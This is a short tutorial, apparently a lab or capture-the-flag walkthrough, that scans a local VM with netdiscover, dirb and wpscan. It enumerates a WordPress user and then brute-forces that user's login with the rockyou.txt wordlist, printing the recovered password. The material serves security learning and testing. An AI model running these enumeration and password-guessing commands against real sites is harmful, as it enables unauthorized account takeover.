DIRB & WORDPRESS

01th Oct 2022

OVERVIEW

DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It works by launching a dictionary-based attack against a web server and analysing the response. It comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists. Also, DIRB sometimes can be used as a classic CGI scanner, but remember is a content scanner, not a vulnerability scanner.

```
root@kali:~# dirb
-----------------
DIRB v2.22
By The Dark Raver
-----------------

dirb <url_base> [<wordlist_file(s)>] [options]

========================== NOTES ========================
 <url_base> : Base URL to scan. (Use -resume for session resuming)
 <wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)

========================= HOTKEYS =======================
 'n' -> Go to next directory.
 'q' -> Stop scan. (Saving state for resume)
 'r' -> Remaining scan stats.

========================= OPTIONS =======================
 -a <agent_string> : Specify your custom USER_AGENT.
 -b : Use path as is.
 -c <cookie_string> : Set a cookie for the HTTP request.
 -E <certificate> : path to the client certificate.
 -f : Fine tunning of NOT_FOUND (404) detection.
 -H <header_string> : Add a custom header to the HTTP request.
 -i : Use case-insensitive search.
 -l : Print "Location" header when found.
 -N <nf_code>: Ignore responses with this HTTP code.
 -o <output_file> : Save output to disk.
 -p <proxy[:port]> : Use this proxy. (Default port is 1080)
 -P <proxy_username:proxy_password> : Proxy Authentication.
 -r : Don't search recursively.
 -R : Interactive recursion. (Asks for each directory)
 -S : Silent Mode. Don't show tested words. (For dumb terminals)
 -t : Don't force an ending '/' on URLs.
 -u <username:password> : HTTP Authentication.
 -v : Show also NOT_FOUND pages.
 -w : Don't stop on WARNING messages.
 -X <extensions> / -x <exts_file> : Append each word with this extensions.
 -z <millisecs> : Add a milliseconds delay to not cause excessive Flood.

======================== EXAMPLES =======================
 dirb http://url/directory/ (Simple Test)
 dirb http://url/ -X .html (Test files with '.html' extension)
 dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test with apache.txt wordlist)
 dirb https://secure_url/ (Simple Test with SSL)
```

First, we need to perform net discover to get the IP address.

Command: netdiscover

```
File  Actions  Edit  View  Help
Currently scanning: 192.168.37.0/16   |   Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
_____________________________________________________________________________
192.168.29.1    a8:da:0c:dc:68:0d      1      60  SERVERCOM (INDIA) PRIVATE LIMITED
192.168.29.172  5c:ba:ef:bf:c5:9f      1      60  CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.29.240  08:00:27:a0:4f:8d      1      60  PCS Systemtechnik GmbH
192.168.29.242  0a:f3:73:9a:80:6c      1      60  Unknown vendor

zsh: suspended  netdiscover
```

Performing dirb:

Command: dirb http://<ip address>

```
┌──(root💀kali)-[~]
└─# dirb http://198.168.29.240

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Oct  2 09:13:44 2022
URL_BASE: http://198.168.29.240/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://198.168.29.240/ ----

(!) FATAL: Too many errors connecting to host
    (Possible cause: OPERATION TIMEOUT)

-----------------
END_TIME: Sun Oct  2 09:16:14 2022
DOWNLOADED: 0 - FOUND: 0
```

Performing WordPress:

Command: wpscan --url http://<IP address>//wordpress -e ap -e at -e u

```
┌──(root💀kali)-[~]
└─# wpscan --url http://192.168.29.240//wordpress -e ap -e at -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.29.240//wordpress/ [192.168.29.240]
[+] Effective URL: http://192.168.29.240/wordpress/
[+] Started: Sun Oct  2 09:18:15 2022
```

By using this WordPress, rockyou.txt has been downloaded in our root.

```
[i] User(s) Identified:

[+] c0rrupt3d_brain
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```

Now we need to run the rockyou.txt file using WordPress to get the password.

Command: wpscan --url http://<IP address>//wordpress -U <User name> -P /<path>

```
┌──(root💀kali)-[~]
└─# wpscan --url http://192.168.29.240//wordpress -U c0rrupt3d_brain -P /root/Desktop/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.29.240//wordpress/ [192.168.29.240]
[+] Effective URL: http://192.168.29.240/wordpress/
[+] Started: Sun Oct  2 09:21:25 2022
```


[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0rrupt3d_brain / 24992499
Trying c0rrupt3d_brain / 24992499 Time: 00:04:09 <
[!] Valid Combinations Found:
| Username: c0rrupt3d_brain, Password: 24992499
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Oct 2 09:26:20 2022
[+] Requests Done: 10842
[+] Cached Requests: 28
[+] Data Sent: 3.38 MB
[+] Data Received: 48.304 MB
[+] Memory used: 272.137 MB
[+] Elapsed time: 00:04:54